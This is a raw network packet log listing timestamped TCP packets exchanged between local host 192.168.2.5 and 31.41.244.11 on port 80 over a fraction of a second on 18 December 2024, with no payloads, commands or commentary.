Dec 18, 2024 21:30:42.154247999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.155118942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.155169010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.155299902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.155342102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.156351089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.156419992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.156506062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.156548023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.157450914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.157630920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.157691002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.158607006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.158763885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.158777952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.158807039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.159724951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.159774065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.159849882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.159893036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.160980940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.161027908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.161138058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.161181927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.161987066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.162029982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.162146091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.162185907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.163110971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.163274050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.163328886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.176636934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.176737070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.176765919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.176810980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.177077055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.177120924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.177252054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.177587986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.177740097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.177783966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.177841902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.177889109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.178849936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.178901911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.178972960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.179014921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.179837942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.180000067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.180047035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.180963039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.181142092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.181185961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.182107925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.182249069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.182281017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.183228970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.183295965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.183393955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.184176922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.184381008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.184500933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.184616089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.184660912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.185565948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.185631990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.185717106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.185766935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.186680079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.186731100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.186817884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.186861992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.187829971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.187877893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.187958002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.187999964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.188939095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.188982964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.189101934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.189145088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.190093040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.190135956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.190288067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.190340996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.191241026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.191288948 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.191466093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.191510916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.192379951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.192428112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.192536116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.192761898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.193532944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.193578005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.193687916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.193748951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.194688082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.194734097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.194852114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.194895983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.195782900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.195830107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.195987940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.196125031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.196913004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.196957111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.197108984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.197177887 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.198096037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.198143959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.198230982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.198277950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.199255943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.199415922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.199457884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.200326920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.200505972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.200560093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.201503038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.201541901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.201659918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.202239990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.202610016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.202649117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.202807903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.202843904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.203767061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.203805923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.203933954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.203973055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.204909086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.204965115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.205081940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.205116987 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.206111908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.206149101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.206341028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.207168102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.207216024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.207360029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.208367109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.208419085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.208518028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.209419966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.209465981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.209580898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.210257053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.210591078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.210637093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.210777998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.211019039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.211783886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.211924076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.211926937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.211961985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.212874889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.212920904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.213027954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.213072062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.214015007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.214128017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.214159012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.214204073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.215116978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.215178013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.215301991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.215348959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.216270924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.216316938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.216434002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.216497898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.217576981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.217621088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.217691898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.217735052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.218584061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.218632936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.218748093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.218796968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.219686031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.219733953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.219902992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.219948053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.220820904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.220876932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.221060038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.221103907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.222120047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.222198009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.222248077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.223097086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.223157883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.223265886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.223318100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.224215984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.224261999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.224458933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.224502087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.225410938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.225578070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.225630045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.226524115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.226572037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.226706028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.226752996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.227678061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.227724075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.227832079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.227875948 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.228811026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.228859901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.229010105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.229342937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.229924917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.229969025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.230082989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.230128050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.231056929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.231103897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.231240034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.231292009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.232201099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.232243061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.232367992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.232410908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.233450890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.233499050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.233659029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.233732939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.234590054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.234632969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.234795094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.234838009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.235599995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.235640049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.368911982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.368968010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.369074106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.369086027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.369141102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.369141102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.369652987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.369766951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.369992018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.370003939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.370168924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.370601892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.370614052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.370645046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.370657921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.371241093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.371252060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.371299982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.371943951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.371954918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.371989965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.372463942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.372473955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.372512102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.373152971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.373163939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.373188972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.373219967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.373712063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.373723984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.373752117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.373764992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.374491930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.374504089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.374533892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.374547005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.375057936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.375077009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.375132084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.375132084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.375808001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.375819921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.375845909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.375859022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.376424074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.376441956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.376452923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.376465082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.376477003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.376502991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.377191067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.377213001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.377259970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.377259970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.377857924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.377876997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.377902985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.377914906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.378531933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.378552914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.378592968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.379194021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.379206896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.379231930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.379257917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.380021095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.380042076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.380053997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.380065918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.380100965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.380764008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.380776882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.380820036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.381480932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.381494045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.381553888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.381553888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.382014990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.382028103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.382062912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.382647038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.382659912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.382688046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.382699013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.383333921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.383347034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.383359909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.383375883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.383389950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.384021044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.384033918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.384061098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.384087086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.384712934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.384726048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.384766102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.384779930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.385427952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.385441065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.385538101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.385538101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.386192083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.386205912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.386219025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.386239052 CET	49819	80	192.168.2.5	31.41.244.11
